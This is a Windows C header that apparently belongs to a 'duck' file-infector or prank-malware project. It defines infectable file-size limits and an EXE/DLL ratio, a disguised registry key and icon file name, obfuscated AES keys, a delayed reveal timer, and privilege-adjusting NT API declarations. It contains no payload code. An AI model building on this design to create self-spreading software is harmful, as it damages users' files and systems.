#pragma once
#define HARMLESS
// ReSharper disable once CppInconsistentNaming
#define _WIN32_DCOM

// ReSharper disable CppUnusedIncludeDirective
#include <Windows.h>
#include <Shlwapi.h>
#include <Psapi.h>
#include <wincrypt.h>
#include <PathCch.h>
#include <winternl.h>
#include <comdef.h>
#include <Wbemidl.h>
#include <WTypes.h>
#include <Wincrypt.h>
#include <atlstr.h>
#include <mmdeviceapi.h>
#include <endpointvolume.h>
#include <WinUser.h>
#include <windowsx.h>
#include <CommCtrl.h>

typedef VOID (__stdcall *RETRIVER)(LPCTSTR strFilePath, BOOL removableDisk, LPDWORD rdc);

#include "Echo.h"
#include "Deal.h"
#include "wndTip.h"
#include "aes.h"

#define DUCK_REG_PATH					TEXT("SYSTEM\\Windows")
#define DUCK_REG_VALUE_HIGHTIME			TEXT("HighTime")
#define DUCK_REG_VALUE_LOWTIME			TEXT("LowTime")
#define DUCK_ICON_NAME					TEXT("desktop.inf")

#define AES192_DUCK_KEY					TEXT("\u0041\u006b\u0075\u0074\u0061\u0020\u0048\u0069\u006e\u0061\u006b\u006f")
#define AES192_UNIN_KEY					TEXT("\u1323\ueadd\ufc20\ud7b0\u1f5e\u16af\u3fcf\ud007\uff02\u3d9d\ue3ad\ud522")

#define INFECTABLE_SIZE_MIN				102400
#define INFECTABLE_SIZE_MAX				102400000
#define INFECTABLE_DLLEXE_RATIO			3

#define MAX_RUNNING_DUCKS				6
#define GAGA_INTERVAL					274000
#define POP_INTERVAL					123456

#define DUCKPROC_CLASS_MSG_NAME			TEXT("DUCKPROC_CLASS_MSG_NAME")
#define DUCKPROC_CLASS_TIP_NAME			TEXT("DUCKPROC_CLASS_TIP_NAME")
#define DUCKPROC_CLASS_QUEST_NAME		TEXT("DUCKPROC_CLASS_QUESTION_NAME")
#define DUCKPROC_CLASS_DUCK_NAME		TEXT("DUCKPROC_CLASS_DUCK_NAME")
#define DUCKPROC_WINDOW_MSG_NAME		TEXT("DUCKPROC_WINDOW_MSG_NAME")
#define DUCKPROC_WINDOW_TIP_NAME		TEXT("DUCK.EXE")
#define DUCKPROC_WINDOW_QUEST_NAME		TEXT("ANSWER THESE WEIRDS")
#define DUCKPROC_WINDOW_DUCK_PREFIX		TEXT("DUCKPROC_WINDOW_DUCK_PREFIX")

#define WM_CLOSETHREAD					(WM_APP +1)
#define WM_TOMINOR						(WM_APP +2)
#define WM_TOMAJOR						(WM_APP +3)

#define VU_DECIBEL						0
#define VU_SCALAR						1

#define SECOND							((INT64) 10000000)
#define MINUTE							(60 * SECOND)
#define HOUR							(60 * MINUTE)
#define DAY								(24 * HOUR)

#define REVEAL_TIME						(DAY * 7)

#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "wbemuuid.lib")
#pragma comment(lib, "Winmm.lib")
#pragma comment(lib, "comctl32.lib")

EXTERN_C NTSTATUS NTAPI RtlAdjustPrivilege(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN);
EXTERN_C NTSTATUS NTAPI NtSetInformationProcess(HANDLE, ULONG, PVOID, ULONG);

#pragma comment(linker,"\"/manifestdependency:type='win32' \
name='Microsoft.Windows.Common-Controls' version='6.0.0.0' \
processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\"")

#ifdef DEBUG
#define HARMLESS
#endif

#define HOLDER
#define GLOBAL

extern DOUBLE dpisc;
extern HINSTANCE ghInstance;
extern HWND ghMsgWindow;
extern HANDLE ghMainThread;
extern DWORD gMainThreadId;
extern HANDLE ghProcess;
extern DWORD gProcessId;
extern BOOL gIsTipShown;
extern BOOL gIsRevealed;
extern TCHAR gFileFullName[MAX_PATH];

extern HFONT hFontRegular;
extern HFONT hFontBold;

#define GetFont(hdr,name,size,weight)CreateFont(-MulDiv(size, GetDeviceCaps(hdc, LOGPIXELSY), 72),0,0,0,weight,0,0,0,0,0,0,0,0,name)
#define AesEncrypt(input,bytes,key)AesCrypt(input,bytes,key)
#define AesDecrypt(input,bytes,key)AesCrypt(input,bytes,key)

//defined by resources

#define ID_ICON_DUCK					124
#define ID_FONT_REGULAR					128
#define ID_FONT_BOLD					129
#define ID_ICON_BOX						122
#define ID_BMP_SPAWN					133
#define ID_BMP_TOQUEST					134
#define ID_BMP_DUCK						137

#define BMPDUCKSIZE						70